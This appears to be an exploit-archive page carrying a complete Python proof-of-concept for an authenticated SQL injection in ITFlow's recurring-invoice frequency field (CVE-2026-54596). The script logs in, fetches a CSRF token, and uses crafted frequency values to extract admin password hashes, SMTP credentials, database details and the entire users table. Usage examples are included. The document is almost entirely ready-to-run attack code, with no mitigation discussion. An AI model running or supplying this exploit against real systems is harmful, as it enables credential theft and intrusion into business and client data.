5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
import re
import sys
import argparse
import requests

BANNER = r"""
  ___ _____ ___ _
 |_ _|_   _| __| |_____ __ __
  | |  | | | _|| / _ \ V  V /
 |___| |_| |_| |_\___/\_/\_/

  SQLi — recurring_invoice_frequency
  CVE: CVE-2026-54596
  Auth: Technician + accessible invoice
  by iltosec
"""

TARGETS = {
    "adminhash":  "(SELECT user_password FROM users LIMIT 1)",
    "adminemail": "(SELECT user_email FROM users LIMIT 1)",
    "smtppass":   "(SELECT config_smtp_password FROM settings)",
    "smtpuser":   "(SELECT config_smtp_username FROM settings)",
    "dbuser":     "(SELECT CURRENT_USER())",
    "dbversion":  "(SELECT VERSION())",
    "database":   "(SELECT DATABASE())",
}

USER_TYPE = {1: "Agent", 2: "Client"}

PREFIX = "MONTH),recurring_invoice_note="
TAIL   = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"


def payload(subquery):
    return PREFIX + subquery + TAIL


def parse_note(html):
    m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
    if m:
        raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
        return raw if raw else None
    return None


def login(s, base, email, password):
    r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
    return r.status_code in (301, 302)


def get_csrf(s, base):
    for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
        m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
        if m:
            return m.group(1)
    return None


def fire(s, base, csrf, invoice_id, subquery):
    p = payload(subquery)
    if len(p) > 200:
        print(f"  [-] Payload too long ({len(p)}/200): {subquery}")
        return None
    r = s.post(f"{base}/agent/post.php", data={
        "add_invoice_recurring": "1",
        "csrf_token": csrf,
        "invoice_id": invoice_id,
        "frequency":  p,
    }, allow_redirects=True)
    if not re.search(r"recurring_invoice_id=(\d+)", r.url):
        return None
    return parse_note(r.text) or ""


def extract_users(s, base, csrf, invoice_id):
    count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
    if not count_raw or not count_raw.isdigit():
        print("  [-] Failed to get user count")
        return
    count = int(count_raw)
    print(f"\n  Users ({count} total)\n")
    print(f"  {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
    print(f"  {'-'*100}")
    for i in range(count):
        row = {}
        for col in ("user_name", "user_email", "user_type", "user_password"):
            row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
        utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
        print(f"  {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")


def main():
    parser = argparse.ArgumentParser(
        prog="exploit.py",
        description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog=(
            "Examples:\n"
            "  python exploit.py http://itflow.com [email protected] 'P@ss!' 1 --all\n"
            "  python exploit.py http://itflow.com [email protected]  'P@ss!' 2 --all\n"
            "  python exploit.py http://itflow.com [email protected]  'P@ss!' 2 --adminhash --smtppass\n"
            "  python exploit.py http://itflow.com [email protected]  'P@ss!' 2 --users\n"
            "  python exploit.py http://itflow.com [email protected]  'P@ss!' 2 --dbuser --dbversion"
        ),
    )
    parser.add_argument("url",        help="Target base URL")
    parser.add_argument("email",      help="Login email")
    parser.add_argument("password",   help="Login password")
    parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
    parser.add_argument("--adminhash",  action="store_true")
    parser.add_argument("--adminemail", action="store_true")
    parser.add_argument("--smtppass",   action="store_true")
    parser.add_argument("--smtpuser",   action="store_true")
    parser.add_argument("--dbuser",     action="store_true")
    parser.add_argument("--dbversion",  action="store_true")
    parser.add_argument("--database",   action="store_true")
    parser.add_argument("--users",      action="store_true", help="Dump all users table")
    parser.add_argument("--all",        action="store_true", help="Run all extractions")
    args = parser.parse_args()

    print(BANNER)
    base = args.url.rstrip("/")

    if args.all:
        selected  = list(TARGETS.keys())
        run_users = True
    else:
        selected  = [k for k in TARGETS if getattr(args, k, False)]
        run_users = args.users

    if not selected and not run_users:
        parser.print_help()
        sys.exit(1)

    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0"

    print(f"[*] {base}  |  {args.email}")

    if not login(s, base, args.email, args.password):
        print("[-] Login failed")
        sys.exit(1)

    csrf = get_csrf(s, base)
    if not csrf:
        print("[-] CSRF token not found")
        sys.exit(1)

    print(f"[+] Logged in  |  CSRF: {csrf}")

    probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
    if probe is None:
        print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
        print(f"    This invoice doesn't exist or belongs to a client")
        print(f"    that {args.email} cannot access.")
        print(f"    Try a different invoice_id (one assigned to your client).")
        sys.exit(1)
    print(f"[+] Injection reachable\n")

    for key in selected:
        val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
        if val is None:
            print(f"  [-] {key}: blocked")
        elif val == "":
            print(f"  [!] {key}: NULL")
        else:
            print(f"  [+] {key}: {val}")

    if run_users:
        extract_users(s, base, csrf, args.invoice_id)

    print("\n[*] Done.")


if __name__ == "__main__":
    main()